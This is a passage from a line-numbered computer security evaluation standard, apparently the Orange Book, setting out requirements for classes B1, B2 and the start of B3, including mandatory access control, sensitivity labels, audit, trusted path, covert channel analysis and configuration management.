  1363.              CLASSIFICATION IN THE OBJECT'S SECURITY LEVEL AND THE NON-
  1364.              HIERARCHICAL CATEGORIES IN THE SUBJECT'S SECURITY LEVEL INCLUDE
  1365.              ALL THE NON-HIERARCHICAL CATEGORIES IN THE OBJECT'S SECURITY
  1366.              LEVEL.  A SUBJECT CAN WRITE AN OBJECT ONLY IF THE HIERARCHICAL
  1367.              CLASSIFICATION IN THE SUBJECT'S SECURITY LEVEL IS LESS THAN OR
  1368.              EQUAL TO THE HIERARCHICAL CLASSIFICATION IN THE OBJECT'S
  1369.              SECURITY LEVEL AND ALL THE NON-HIERARCHICAL CATEGORIES IN THE
  1370.              SUBJECT'S SECURITY LEVEL ARE INCLUDED IN THE NON- HIERARCHICAL
  1371.              CATEGORIES IN THE OBJECT'S SECURITY LEVEL.
  1372.  
  1373. 3.1.2  ACCOUNTABILITY
  1374.  
  1375.      3.1.2.1   Identification and Authentication
  1376.  
  1377.                The TCB shall require users to identify themselves to it before
  1378.              beginning to perform any other actions that the TCB is expected
  1379.              to mediate.  Furthermore, the TCB shall MAINTAIN AUTHENTICATION
  1380.              DATA THAT INCLUDES INFORMATION FOR VERIFYING THE IDENTITY OF
  1381.              INDIVIDUAL USERS (E.G., PASSWORDS) AS WELL AS INFORMATION FOR
  1382.              DETERMINING THE CLEARANCE AND AUTHORIZATIONS OF INDIVIDUAL
  1383.              USERS.  THIS DATA SHALL BE USED BY THE TCB TO AUTHENTICATE the
  1384.              user's identity AND TO DETERMINE THE SECURITY LEVEL AND
  1385.              AUTHORIZATIONS OF SUBJECTS THAT MAY BE CREATED TO ACT ON BEHALF
  1386.              OF THE INDIVIDUAL USER.  The TCB shall protect authentication
  1387.              data so that it cannot be accessed by any unauthorized user.
  1388.              The TCB shall be able to enforce individual accountability by
  1389.              providing the capability to uniquely identify each individual
  1390.              ADP system user.  The TCB shall also provide the capability of
  1391.              associating this identity with all auditable actions taken by
  1392.              that individual.
  1393.  
  1394.      3.1.2.2   Audit
  1395.  
  1396.                The TCB shall be able to create, maintain, and protect from
  1397.              modification or unauthorized access or destruction an audit
  1398.              trail of accesses to the objects it protects.  The audit data
  1399.              shall be protected by the TCB so that read access to it is
  1400.              limited to those who are authorized for audit data.  The TCB
  1401.              shall be able to record the following types of events: use of
  1402.              identification and authentication mechanisms, introduction of
  1403.              objects into a user's address space (e.g., file open, program
  1404.              initiation), deletion of objects, and actions taken by computer
  1405.              operators and system administrators and/or system security
  1406.              officers.  THE TCB SHALL ALSO BE ABLE TO AUDIT ANY OVERRIDE OF
  1407.              HUMAN-READABLE OUTPUT MARKINGS.  FOR each recorded event, the
  1408.              audit record shall identify: date and time of the event, user,
  1409.              type of event, and success or failure of the event.  For
  1410.              identification/authentication events the origin of request
  1411.              (e.g., terminal ID) shall be included in the audit record.
  1412.              For events that introduce an object into a user's address space
  1413.              and for object deletion events the audit record shall include
  1414.              the name of the object AND THE OBJECT'S SECURITY LEVEL.  The
  1415.              ADP system administrator shall be able to selectively audit the
  1416.              actions of any one or more users based on individual identity
  1417.              AND/OR OBJECT SECURITY LEVEL.
  1418.  
  1419. 3.1.3  ASSURANCE
  1420.  
  1421.      3.1.3.1   Operational Assurance
  1422.  
  1423.         3.1.3.1.1  System Architecture
  1424.  
  1425.                      The TCB shall maintain a domain for its own execution
  1426.                  that protects it from external interference or tampering
  1427.                  (e.g., by modification of its code or data structures).
  1428.                  Resources controlled by the TCB may be a defined subset
  1429.                  of the subjects and objects in the ADP system.  THE TCB
  1430.                  SHALL MAINTAIN PROCESS ISOLATION THROUGH THE PROVISION OF
  1431.                  DISTINCT ADDRESS SPACES UNDER ITS CONTROL.  The TCB shall
  1432.                  isolate the resources to be protected so that they are
  1433.                  subject to the access control and auditing requirements.
  1434.         3.1.3.1.2  System Integrity
  1435.  
  1436.                      Hardware and/or software features shall be provided that
  1437.                  can be used to periodically validate the correct operation
  1438.                  of the on-site hardware and firmware elements of the TCB.
  1439.  
  1440.      3.1.3.2   Life-Cycle Assurance
  1441.  
  1442.         3.1.3.2.1  Security Testing
  1443.  
  1444.                      THE SECURITY MECHANISMS OF THE ADP SYSTEM SHALL BE TESTED
  1445.                  AND FOUND TO WORK AS CLAIMED IN THE SYSTEM DOCUMENTATION.
  1446.                  A TEAM OF INDIVIDUALS WHO THOROUGHLY UNDERSTAND THE
  1447.                  SPECIFIC IMPLEMENTATION OF THE TCB SHALL SUBJECT ITS
  1448.                  DESIGN DOCUMENTATION, SOURCE CODE, AND OBJECT CODE TO
  1449.                  THOROUGH ANALYSIS AND TESTING.  THEIR OBJECTIVES SHALL BE:
  1450.                  TO UNCOVER ALL DESIGN AND IMPLEMENTATION FLAWS THAT WOULD
  1451.                  PERMIT A SUBJECT EXTERNAL TO THE TCB TO READ, CHANGE, OR
  1452.                  DELETE DATA NORMALLY DENIED UNDER THE MANDATORY OR
  1453.                  DISCRETIONARY SECURITY POLICY ENFORCED BY THE TCB; AS WELL
  1454.                  AS TO ASSURE THAT NO SUBJECT (WITHOUT AUTHORIZATION TO DO
  1455.                  SO) IS ABLE TO CAUSE THE TCB TO ENTER A STATE SUCH THAT
  1456.                  IT IS UNABLE TO RESPOND TO COMMUNICATIONS INITIATED BY
  1457.                  OTHER USERS.  ALL DISCOVERED FLAWS SHALL BE REMOVED OR
  1458.                  NEUTRALIZED AND THE TCB RETESTED TO DEMONSTRATE THAT THEY
  1459.                  HAVE BEEN ELIMINATED AND THAT NEW FLAWS HAVE NOT BEEN
  1460.                  INTRODUCED.  (SEE THE SECURITY TESTING GUIDELINES.)
  1461.  
  1462.         3.1.3.2.2  Design Specification and Verification
  1463.  
  1464.                      AN INFORMAL OR FORMAL MODEL OF THE SECURITY POLICY
  1465.                  SUPPORTED BY THE TCB SHALL BE MAINTAINED THAT IS SHOWN TO
  1466.                  BE CONSISTENT WITH ITS AXIOMS.
  1467.  
  1468. 3.1.4  DOCUMENTATION
  1469.  
  1470.      3.1.4.1   Security Features User's Guide
  1471.  
  1472.                A single summary, chapter, or manual in user documentation
  1473.              shall describe the protection mechanisms provided by the TCB,
  1474.              guidelines on their use, and how they interact with one another.
  1475.  
  1476.      3.1.4.2   Trusted Facility Manual
  1477.  
  1478.                A manual addressed to the ADP system administrator shall
  1479.              present cautions about functions and privileges that should be
  1480.              controlled when running a secure facility.  The procedures for
  1481.              examining and maintaining the audit files as well as the
  1482.              detailed audit record structure for each type of audit event
  1483.              shall be given.  THE MANUAL SHALL DESCRIBE THE OPERATOR AND
  1484.              ADMINISTRATOR FUNCTIONS RELATED TO SECURITY, TO INCLUDE CHANGING
  1485.              THE SECURITY CHARACTERISTICS OF A USER.  IT SHALL PROVIDE
  1486.              GUIDELINES ON THE CONSISTENT AND EFFECTIVE USE OF THE PROTECTION
  1487.              FEATURES OF THE SYSTEM, HOW THEY INTERACT, HOW TO SECURELY
  1488.              GENERATE A NEW TCB, AND FACILITY PROCEDURES, WARNINGS, AND
  1489.              PRIVILEGES THAT NEED TO BE CONTROLLED IN ORDER TO OPERATE THE
  1490.              FACILITY IN A SECURE MANNER.
  1491.  
  1492.      3.1.4.3   Test Documentation
  1493.  
  1494.                The system developer shall provide to the evaluators a document
  1495.              that describes the test plan and results of the security
  1496.              mechanisms' functional testing.
  1497.  
  1498.      3.1.4.4   Design Documentation
  1499.  
  1500.                Documentation shall be available that provides a description of
  1501.              the manufacturer's philosophy of protection and an explanation
  1502.              of how this philosophy is translated into the TCB.  If the TCB
  1503.              is composed of distinct modules, the interfaces between these
  1504.              modules shall be described.  AN INFORMAL OR FORMAL DESCRIPTION
  1505.              OF THE SECURITY POLICY MODEL ENFORCED BY THE TCB SHALL BE
  1506.              AVAILABLE AND AN EXPLANATION PROVIDED TO SHOW THAT IT IS
  1507.              SUFFICIENT TO ENFORCE THE SECURITY POLICY.  THE SPECIFIC TCB
  1508.              PROTECTION MECHANISMS SHALL BE IDENTIFIED AND AN EXPLANATION
  1509.              GIVEN TO SHOW THAT THEY SATISFY THE MODEL.
  1510.  
  1511.  
  1512. 3.2  CLASS (B2):    STRUCTURED PROTECTION
  1513.  
  1514. In class (B2) systems, the TCB is based on a clearly defined and documented
  1515. formal security policy model that requires the discretionary and mandatory
  1516. access control enforcement found in class (B1) systems be extended to all
  1517. subjects and objects in the ADP system.  In addition, covert channels are
  1518. addressed.  The TCB must be carefully structured into protection-critical and
  1519. non- protection-critical elements.  The TCB interface is well-defined and the
  1520. TCB design and implementation enable it to be subjected to more thorough
  1521. testing and more complete review.  Authentication mechanisms are strengthened,
  1522. trusted facility management is provided in the form of support for system
  1523. administrator and operator functions, and stringent configuration management
  1524. controls are imposed.  The system is relatively resistant to penetration.  The
  1525. following are minimal requirements for systems assigned a class (B2) rating:
  1526.  
  1527. 3.2.1  SECURITY POLICY
  1528.  
  1529.      3.2.1.1   Discretionary Access Control
  1530.  
  1531.                The TCB shall define and control access between named users and
  1532.              named objects (e.g., files and programs) in the ADP system.
  1533.              The enforcement mechanism (e.g., self/group/public controls,
  1534.              access control lists) shall allow users to specify and control
  1535.              sharing of those objects by named individuals, or defined
  1536.              groups of individuals, or by both.  The discretionary access
  1537.              control mechanism shall, either by explicit user action or by
  1538.              default, provide that objects are protected from unauthorized
  1539.              access.  These access controls shall be capable of including
  1540.              or excluding access to the granularity of a single user.
  1541.              Access permission to an object by users not already possessing
  1542.              access permission shall only be assigned by authorized users.
  1543.  
  1544.      3.2.1.2   Object Reuse
  1545.  
  1546.                When a storage object is initially assigned, allocated, or
  1547.              reallocated to a subject from the TCB's pool of unused storage
  1548.              objects, the TCB shall assure that the object contains no data
  1549.              for which the subject is not authorized.
  1550.  
  1551.      3.2.1.3   Labels
  1552.  
  1553.                Sensitivity labels associated with each ADP SYSTEM RESOURCE
  1554.              (E.G., SUBJECT, STORAGE OBJECT) THAT IS DIRECTLY OR INDIRECTLY
  1555.              ACCESSIBLE BY SUBJECTS EXTERNAL TO THE TCB shall be maintained
  1556.              by the TCB.  These labels shall be used as the basis for
  1557.              mandatory access control decisions.  In order to import non-
  1558.              labeled data, the TCB shall request and receive from an
  1559.              authorized user the security level of the data, and all such
  1560.              actions shall be auditable by the TCB.
  1561.  
  1562.         3.2.1.3.1  Label Integrity
  1563.  
  1564.                  Sensitivity labels shall accurately represent security
  1565.                  levels of the specific subjects or objects with which
  1566.                  they are associated.  When exported by the TCB,
  1567.                  sensitivity labels shall accurately and unambiguously
  1568.                  represent the internal labels and shall be associated
  1569.                  with the information being exported.
  1570.  
  1571.         3.2.1.3.2  Exportation of Labeled Information
  1572.  
  1573.                  The TCB shall designate each communication channel and
  1574.                  I/O device as either single-level or multilevel.  Any
  1575.                  change in this designation shall be done manually and
  1576.                  shall be auditable by the TCB.  The TCB shall maintain
  1577.                  and be able to audit any change in the current security
  1578.                  level associated with a single-level communication
  1579.                  channel or I/O device.
  1580.  
  1581.              3.2.1.3.2.1  Exportation to Multilevel Devices
  1582.  
  1583.                         When the TCB exports an object to a multilevel I/O
  1584.                         device, the sensitivity label associated with that
  1585.                         object shall also be exported and shall reside on
  1586.                         the same physical medium as the exported
  1587.                         information and shall be in the same form (i.e.,
  1588.                         machine-readable or human-readable form).  When
  1589.                         the TCB exports or imports an object over a
  1590.                         multilevel communication channel, the protocol
  1591.                         used on that channel shall provide for the
  1592.                         unambiguous pairing between the sensitivity labels
  1593.                         and the associated information that is sent or
  1594.                         received.
  1595.  
  1596.              3.2.1.3.2.2  Exportation to Single-Level Devices
  1597.  
  1598.                         Single-level I/O devices and single-level
  1599.                         communication channels are not required to
  1600.                         maintain the sensitivity labels of the
  1601.                         information they process.  However, the TCB shall
  1602.                         include a mechanism by which the TCB and an
  1603.                         authorized user reliably communicate to designate
  1604.                         the single security level of information imported
  1605.                         or exported via single-level communication
  1606.                         channels or I/O devices.
  1607.  
  1608.              3.2.1.3.2.3  Labeling Human-Readable Output
  1609.  
  1610.                         The ADP system administrator shall be able to
  1611.                         specify the printable label names associated with
  1612.                         exported sensitivity labels.  The TCB shall mark
  1613.                         the beginning and end of all human-readable, paged,
  1614.                         hardcopy output (e.g., line printer output) with
  1615.                         human-readable sensitivity labels that properly*
  1616.                         represent the sensitivity of the output.  The TCB
  1617.                         shall, by default, mark the top and bottom of each
  1618.                         page of human-readable, paged, hardcopy output
  1619.                         (e.g., line printer output) with human-readable
  1620.                         sensitivity labels that properly* represent the
  1621.                         overall sensitivity of the output or that
  1622.                         properly* represent the sensitivity of the
  1623.                         information on the page.  The TCB shall, by
  1624.                         default and in an appropriate manner, mark other
  1625.                         forms of human-readable output (e.g., maps,
  1626.                         graphics) with human-readable sensitivity labels
  1627.                         that properly* represent the sensitivity of the
  1628.                         output.  Any override of these marking defaults
  1629.                         shall be auditable by the TCB.
  1630.            _____________________________________________________________
  1631.            * The hierarchical classification component in human-readable
  1632.            sensitivity labels shall be equal to the greatest
  1633.            hierarchical classification of any of the information in the
  1634.            output that the labels refer to;  the non-hierarchical
  1635.            category component shall include all of the non-hierarchical
  1636.            categories of the information in the output the labels refer
  1637.            to, but no other non-hierarchical categories.
  1638.            _____________________________________________________________
  1639.  
  1640.  
  1641.         3.2.1.3.3  Subject Sensitivity Labels
  1642.  
  1643.                  THE TCB SHALL IMMEDIATELY NOTIFY A TERMINAL USER OF EACH
  1644.                  CHANGE IN THE SECURITY LEVEL ASSOCIATED WITH THAT USER
  1645.                  DURING AN INTERACTIVE SESSION.  A TERMINAL USER SHALL BE
  1646.                  ABLE TO QUERY THE TCB AS DESIRED FOR A DISPLAY OF THE
  1647.                  SUBJECT'S COMPLETE SENSITIVITY LABEL.
  1648.  
  1649.         3.2.1.3.4  Device Labels
  1650.  
  1651.                  THE TCB SHALL SUPPORT THE ASSIGNMENT OF MINIMUM AND
  1652.                  MAXIMUM SECURITY LEVELS TO ALL ATTACHED PHYSICAL DEVICES.
  1653.                  THESE SECURITY LEVELS SHALL BE USED BY THE TCB TO ENFORCE
  1654.                  CONSTRAINTS IMPOSED BY THE PHYSICAL ENVIRONMENTS IN WHICH
  1655.                  THE DEVICES ARE LOCATED.
  1656.  
  1657.      3.2.1.4   Mandatory Access Control
  1658.  
  1659.                The TCB shall enforce a mandatory access control policy over
  1660.              all RESOURCES (I.E., SUBJECTS, STORAGE OBJECTS, AND I/O DEVICES)
  1661.              THAT ARE DIRECTLY OR INDIRECTLY ACCESSIBLE BY SUBJECTS EXTERNAL
  1662.              TO THE TCB.  These subjects and objects shall be assigned
  1663.              sensitivity labels that are a combination of hierarchical
  1664.              classification levels and non-hierarchical categories, and the
  1665.              labels shall be used as the basis for mandatory access control
  1666.              decisions.  The TCB shall be able to support two or more such
  1667.              security levels.  (See the Mandatory Access Control guidelines.)
  1668.              The following requirements shall hold for all accesses between
  1669.              ALL SUBJECTS EXTERNAL TO THE TCB AND ALL OBJECTS DIRECTLY OR
  1670.              INDIRECTLY ACCESSIBLE BY THESE SUBJECTS: A subject can read an
  1671.              object only if the hierarchical classification in the subject's
  1672.              security level is greater than or equal to the hierarchical
  1673.              classification in the object's security level and the non-
  1674.              hierarchical categories in the subject's security level include
  1675.              all the non-hierarchical categories in the object's security
  1676.              level.  A subject can write an object only if the hierarchical
  1677.              classification in the subject's security level is less than or
  1678.              equal to the hierarchical classification in the object's
  1679.              security level and all the non-hierarchical categories in the
  1680.              subject's security level are included in the non-hierarchical
  1681.              categories in the object's security level.
  1682.  
  1683. 3.2.2  ACCOUNTABILITY
  1684.  
  1685.      3.2.2.1   Identification and Authentication
  1686.  
  1687.                The TCB shall require users to identify themselves to it before
  1688.              beginning to perform any other actions that the TCB is expected
  1689.              to mediate.  Furthermore, the TCB shall maintain authentication
  1690.              data that includes information for verifying the identity of
  1691.              individual users (e.g., passwords) as well as information for
  1692.              determining the clearance and authorizations of individual
  1693.              users.  This data shall be used by the TCB to authenticate the
  1694.              user's identity and to determine the security level and
  1695.              authorizations of subjects that may be created to act on behalf
  1696.              of the individual user.  The TCB shall protect authentication
  1697.              data so that it cannot be accessed by any unauthorized user.
  1698.              The TCB shall be able to enforce individual accountability by
  1699.              providing the capability to uniquely identify each individual
  1700.              ADP system user.  The TCB shall also provide the capability of
  1701.              associating this identity with all auditable actions taken by
  1702.              that individual.
  1703.  
  1704.         3.2.2.1.1  Trusted Path
  1705.  
  1706.                  THE TCB SHALL SUPPORT A TRUSTED COMMUNICATION PATH
  1707.                  BETWEEN ITSELF AND USER FOR INITIAL LOGIN AND
  1708.                  AUTHENTICATION.  COMMUNICATIONS VIA THIS PATH SHALL BE
  1709.                  INITIATED EXCLUSIVELY BY A USER.
  1710.  
  1711.      3.2.2.2   Audit
  1712.  
  1713.                The TCB shall be able to create, maintain, and protect from
  1714.              modification or unauthorized access or destruction an audit
  1715.              trail of accesses to the objects it protects.  The audit data
  1716.              shall be protected by the TCB so that read access to it is
  1717.              limited to those who are authorized for audit data.  The TCB
  1718.              shall be able to record the following types of events: use of
  1719.              identification and authentication mechanisms, introduction of
  1720.              objects into a user's address space (e.g., file open, program
  1721.              initiation), deletion of objects, and actions taken by computer
  1722.              operators and system administrators and/or system security
  1723.              officers.  The TCB shall also be able to audit any override of
  1724.              human-readable output markings.  For each recorded event, the
  1725.              audit record shall identify: date and time of the event, user,
  1726.              type of event, and success or failure of the event.  For
  1727.              identification/authentication events the origin of request
  1728.              (e.g., terminal ID) shall be included in the audit record.  For
  1729.              events that introduce an object into a user's address space and
  1730.              for object deletion events the audit record shall include the
  1731.              name of the object and the object's security level.  The ADP
  1732.              system administrator shall be able to selectively audit the
  1733.              actions of any one or more users based on individual identity
  1734.              and/or object security level.  THE TCB SHALL BE ABLE TO AUDIT
  1735.              THE IDENTIFIED EVENTS THAT MAY BE USED IN THE EXPLOITATION OF
  1736.              COVERT STORAGE CHANNELS.
  1737.  
  1738. 3.2.3  ASSURANCE
  1739.  
  1740.      3.2.3.1   Operational Assurance
  1741.  
  1742.         3.2.3.1.1  System Architecture
  1743.  
  1744.                  THE TCB SHALL MAINTAIN A DOMAIN FOR ITS OWN EXECUTION
  1745.                  THAT PROTECTS IT FROM EXTERNAL INTERFERENCE OR TAMPERING
  1746.                  (E.G., BY MODIFICATION OF ITS CODE OR DATA STRUCTURES).
  1747.                    THE TCB SHALL MAINTAIN PROCESS ISOLATION THROUGH THE
  1748.                  PROVISION OF DISTINCT ADDRESS SPACES UNDER ITS CONTROL.
  1749.                  THE TCB SHALL BE INTERNALLY STRUCTURED INTO WELL-DEFINED
  1750.                  LARGELY INDEPENDENT MODULES.  IT SHALL MAKE EFFECTIVE USE
  1751.                  OF AVAILABLE HARDWARE TO SEPARATE THOSE ELEMENTS THAT ARE
  1752.                  PROTECTION-CRITICAL FROM THOSE THAT ARE NOT.  THE TCB
  1753.                  MODULES SHALL BE DESIGNED SUCH THAT THE PRINCIPLE OF LEAST
  1754.                  PRIVILEGE IS ENFORCED.  FEATURES IN HARDWARE, SUCH AS
  1755.                  SEGMENTATION, SHALL BE USED TO SUPPORT LOGICALLY DISTINCT
  1756.                  STORAGE OBJECTS WITH SEPARATE ATTRIBUTES (NAMELY:
  1757.                  READABLE, WRITEABLE).  THE USER INTERFACE TO THE TCB
  1758.                  SHALL BE COMPLETELY DEFINED AND ALL ELEMENTS OF THE TCB
  1759.                  IDENTIFIED.
  1760.  
  1761.         3.2.3.1.2  System Integrity
  1762.  
  1763.                  Hardware and/or software features shall be provided that
  1764.                  can be used to periodically validate the correct
  1765.                  operation of the on-site hardware and firmware elements
  1766.                  of the TCB.
  1767.  
  1768.         3.2.3.1.3  Covert Channel Analysis
  1769.  
  1770.                  THE SYSTEM DEVELOPER SHALL CONDUCT A THOROUGH SEARCH FOR
  1771.                  COVERT STORAGE CHANNELS AND MAKE A DETERMINATION (EITHER
  1772.                  BY ACTUAL MEASUREMENT OR BY ENGINEERING ESTIMATION) OF
  1773.                  THE MAXIMUM BANDWIDTH OF EACH IDENTIFIED CHANNEL.  (SEE
  1774.                  THE COVERT CHANNELS GUIDELINE SECTION.)
  1775.  
  1776.         3.2.3.1.4  Trusted Facility Management
  1777.  
  1778.                  THE TCB SHALL SUPPORT SEPARATE OPERATOR AND ADMINISTRATOR
  1779.                  FUNCTIONS.
  1780.  
  1781.      3.2.3.2   Life-Cycle Assurance
  1782.  
  1783.         3.2.3.2.1  Security Testing
  1784.  
  1785.                  The security mechanisms of the ADP system shall be tested
  1786.                  and found to work as claimed in the system documentation.
  1787.                  A team of individuals who thoroughly understand the
  1788.                  specific implementation of the TCB shall subject its
  1789.                  design documentation, source code, and object code to
  1790.                  thorough analysis and testing.  Their objectives shall be:
  1791.                  to uncover all design and implementation flaws that would
  1792.                  permit a subject external to the TCB to read, change, or
  1793.                  delete data normally denied under the mandatory or
  1794.                  discretionary security policy enforced by the TCB; as well
  1795.                  as to assure that no subject (without authorization to do
  1796.                  so) is able to cause the TCB to enter a state such that it
  1797.                  is unable to respond to communications initiated by other
  1798.                  users.  THE TCB SHALL BE FOUND RELATIVELY RESISTANT TO
  1799.                  PENETRATION.  All discovered flaws shall be CORRECTED and
  1800.                  the TCB retested to demonstrate that they have been
  1801.                  eliminated and that new flaws have not been introduced.
  1802.                  TESTING SHALL DEMONSTRATE THAT THE TCB IMPLEMENTATION IS
  1803.                  CONSISTENT WITH THE DESCRIPTIVE TOP-LEVEL SPECIFICATION.
  1804.                  (See the Security Testing Guidelines.)
  1805.  
  1806.         3.2.3.2.2  Design Specification and Verification
  1807.  
  1808.                  A FORMAL model of the security policy supported by the
  1809.                  TCB shall be maintained that is PROVEN consistent with
  1810.                  its axioms.  A DESCRIPTIVE TOP-LEVEL SPECIFICATION (DTLS)
  1811.                  OF THE TCB SHALL BE MAINTAINED THAT COMPLETELY AND
  1812.                  ACCURATELY DESCRIBES THE TCB IN TERMS OF EXCEPTIONS, ERROR
  1813.                  MESSAGES, AND EFFECTS.  IT SHALL BE SHOWN TO BE AN
  1814.                  ACCURATE DESCRIPTION OF THE TCB INTERFACE.
  1815.  
  1816.         3.2.3.2.3  Configuration Management
  1817.  
  1818.                  DURING DEVELOPMENT AND MAINTENANCE OF THE TCB, A
  1819.                  CONFIGURATION MANAGEMENT SYSTEM SHALL BE IN PLACE THAT
  1820.                  MAINTAINS CONTROL OF CHANGES TO THE DESCRIPTIVE TOP-LEVEL
  1821.                  SPECIFICATION, OTHER DESIGN DATA, IMPLEMENTATION
  1822.                  DOCUMENTATION, SOURCE CODE, THE RUNNING VERSION OF THE
  1823.                  OBJECT CODE, AND TEST FIXTURES AND DOCUMENTATION.  THE
  1824.                  CONFIGURATION MANAGEMENT SYSTEM SHALL ASSURE A CONSISTENT
  1825.                  MAPPING AMONG ALL DOCUMENTATION AND CODE ASSOCIATED WITH
  1826.                  THE CURRENT VERSION OF THE TCB.  TOOLS SHALL BE PROVIDED
  1827.                  FOR GENERATION OF A NEW VERSION OF THE TCB FROM SOURCE
  1828.                  CODE.  ALSO AVAILABLE SHALL BE TOOLS FOR COMPARING A
  1829.                  NEWLY GENERATED VERSION WITH THE PREVIOUS TCB VERSION IN
  1830.                  ORDER TO ASCERTAIN THAT ONLY THE INTENDED CHANGES HAVE
  1831.                  BEEN MADE IN THE CODE THAT WILL ACTUALLY BE USED AS THE
  1832.                  NEW VERSION OF THE TCB.
  1833.  
  1834. 3.2.4  DOCUMENTATION
  1835.  
  1836.      3.2.4.1   Security Features User's Guide
  1837.  
  1838.                A single summary, chapter, or manual in user documentation
  1839.              shall describe the protection mechanisms provided by the TCB,
  1840.              guidelines on their use, and how they interact with one another.
  1841.  
  1842.      3.2.4.2   Trusted Facility Manual
  1843.  
  1844.                A manual addressed to the ADP system administrator shall
  1845.              present cautions about functions and privileges that should be
  1846.              controlled when running a secure facility.  The procedures for
  1847.              examining and maintaining the audit files as well as the
  1848.              detailed audit record structure for each type of audit event
  1849.              shall be given.  The manual shall describe the operator and
  1850.              administrator functions related to security, to include
  1851.              changing the security characteristics of a user.  It shall
  1852.              provide guidelines on the consistent and effective use of the
  1853.              protection features of the system, how they interact, how to
  1854.              securely generate a new TCB, and facility procedures, warnings,
  1855.              and privileges that need to be controlled in order to operate
  1856.              the facility in a secure manner.  THE TCB MODULES THAT CONTAIN
  1857.              THE REFERENCE VALIDATION MECHANISM SHALL BE IDENTIFIED.  THE
  1858.              PROCEDURES FOR SECURE GENERATION OF A NEW TCB FROM SOURCE AFTER
  1859.              MODIFICATION OF ANY MODULES IN THE TCB SHALL BE DESCRIBED.
  1860.  
  1861.      3.2.4.3   Test Documentation
  1862.  
  1863.                The system developer shall provide to the evaluators a document
  1864.              that describes the test plan and results of the security
  1865.              mechanisms' functional testing.  IT SHALL INCLUDE RESULTS OF
  1866.              TESTING THE EFFECTIVENESS OF THE METHODS USED TO REDUCE COVERT
  1867.              CHANNEL BANDWIDTHS.
  1868.  
  1869.      3.2.4.4   Design Documentation
  1870.  
  1871.                Documentation shall be available that provides a description of
  1872.              the manufacturer's philosophy of protection and an explanation
  1873.              of how this philosophy is translated into the TCB.  THE
  1874.              interfaces between THE TCB modules shall be described.  A
  1875.              FORMAL description of the security policy model enforced by the
  1876.              TCB shall be available and PROVEN that it is sufficient to
  1877.              enforce the security policy.  The specific TCB protection
  1878.              mechanisms shall be identified and an explanation given to show
  1879.              that they satisfy the model.  THE DESCRIPTIVE TOP-LEVEL
  1880.              SPECIFICATION (DTLS) SHALL BE SHOWN TO BE AN ACCURATE
  1881.              DESCRIPTION OF THE TCB INTERFACE.  DOCUMENTATION SHALL DESCRIBE
  1882.              HOW THE TCB IMPLEMENTS THE REFERENCE MONITOR CONCEPT AND GIVE
  1883.              AN EXPLANATION WHY IT IS TAMPERPROOF, CANNOT BE BYPASSED, AND
  1884.              IS CORRECTLY IMPLEMENTED.  DOCUMENTATION SHALL DESCRIBE HOW THE
  1885.              TCB IS STRUCTURED TO FACILITATE TESTING AND TO ENFORCE LEAST
  1886.              PRIVILEGE.  THIS DOCUMENTATION SHALL ALSO PRESENT THE RESULTS
  1887.              OF THE COVERT CHANNEL ANALYSIS AND THE TRADEOFFS INVOLVED IN
  1888.              RESTRICTING THE CHANNELS.  ALL AUDITABLE EVENTS THAT MAY BE
  1889.              USED IN THE EXPLOITATION OF KNOWN COVERT STORAGE CHANNELS SHALL
  1890.              BE IDENTIFIED.  THE BANDWIDTHS OF KNOWN COVERT STORAGE CHANNELS,
  1891.              THE USE OF WHICH IS NOT DETECTABLE BY THE AUDITING MECHANISMS,
  1892.              SHALL BE PROVIDED.  (SEE THE COVERT CHANNEL GUIDELINE SECTION.)
  1893.  
  1894.  
  1895. 3.3  CLASS (B3):    SECURITY DOMAINS
  1896.  
  1897. The class (B3) TCB must satisfy the reference monitor requirements that it
  1898. mediate all accesses of subjects to objects, be tamperproof, and be small
  1899. enough to be subjected to analysis and tests.  To this end, the TCB is
  1900. structured to exclude code not essential to security policy enforcement, with
  1901. significant system engineering during TCB design and implementation directed
  1902. toward minimizing its complexity.  A security administrator is supported,
  1903. audit mechanisms are expanded to signal security- relevant events, and system
  1904. recovery procedures are required.  The system is highly resistant to
  1905. penetration.  The following are minimal requirements for systems assigned a
  1906. class (B3) rating:
  1907.  
  1908. 3.3.1  SECURITY POLICY
  1909.  
  1910.      3.3.1.1   Discretionary Access Control
  1911.  
  1912.                The TCB shall define and control access between named users and
  1913.              named objects (e.g., files and programs) in the ADP system.
  1914.              The enforcement mechanism (E.G., ACCESS CONTROL LISTS) shall
  1915.              allow users to specify and control sharing of those OBJECTS.
  1916.              The discretionary access control mechanism shall, either by
  1917.              explicit user action or by default, provide that objects are
  1918.              protected from unauthorized access.  These access controls shall
  1919.              be capable of SPECIFYING, FOR EACH NAMED OBJECT, A LIST OF NAMED
  1920.              INDIVIDUALS AND A LIST OF GROUPS OF NAMED INDIVIDUALS WITH THEIR
  1921.              RESPECTIVE MODES OF ACCESS TO THAT OBJECT.  FURTHERMORE, FOR
  1922.              EACH SUCH NAMED OBJECT, IT SHALL BE POSSIBLE TO SPECIFY A LIST
  1923.              OF NAMED INDIVIDUALS AND A LIST OF GROUPS OF NAMED INDIVIDUALS
  1924.              FOR WHICH NO ACCESS TO THE OBJECT IS TO BE GIVEN.  Access
  1925.              permission to an object by users not already possessing access
  1926.              permission shall only be assigned by authorized users.
  1927.  
  1928.      3.3.1.2   Object Reuse
  1929.  
  1930.                When a storage object is initially assigned, allocated, or
  1931.              reallocated to a subject from the TCB's pool of unused storage
  1932.              objects, the TCB shall assure that the object contains no data
  1933.              for which the subject is not authorized.
  1934.  
  1935.      3.3.1.3   Labels
  1936.  
  1937.                Sensitivity labels associated with each ADP system resource
  1938.              (e.g., subject, storage object) that is directly or indirectly
  1939.              accessible by subjects external to the TCB shall be maintained
  1940.              by the TCB.  These labels shall be used as the basis for
  1941.              mandatory access control decisions.  In order to import non-
  1942.              labeled data, the TCB shall request and receive from an
  1943.              authorized user the security level of the data, and all such
  1944.              actions shall be auditable by the TCB.
  1945.  
  1946.         3.3.1.3.1  Label Integrity
  1947.  
  1948.                  Sensitivity labels shall accurately represent security
  1949.                  levels of the specific subjects or objects with which
  1950.                  they are associated.  When exported by the TCB,
  1951.                  sensitivity labels shall accurately and unambiguously
  1952.                  represent the internal labels and shall be associated
  1953.                  with the information being exported.
  1954.  
  1955.         3.3.1.3.2  Exportation of Labeled Information
  1956.  
  1957.                  The TCB shall designate each communication channel and
  1958.                  I/O device as either single-level or multilevel.  Any
  1959.                  change in this designation shall be done manually and
  1960.                  shall be auditable by the TCB.  The TCB shall maintain
  1961.                  and be able to audit any change in the current security
  1962.                  level associated with a single-level communication
  1963.                  channel or I/O device.
  1964.  
  1965.              3.3.1.3.2.1  Exportation to Multilevel Devices
  1966.  
  1967.                         When the TCB exports an object to a multilevel I/O
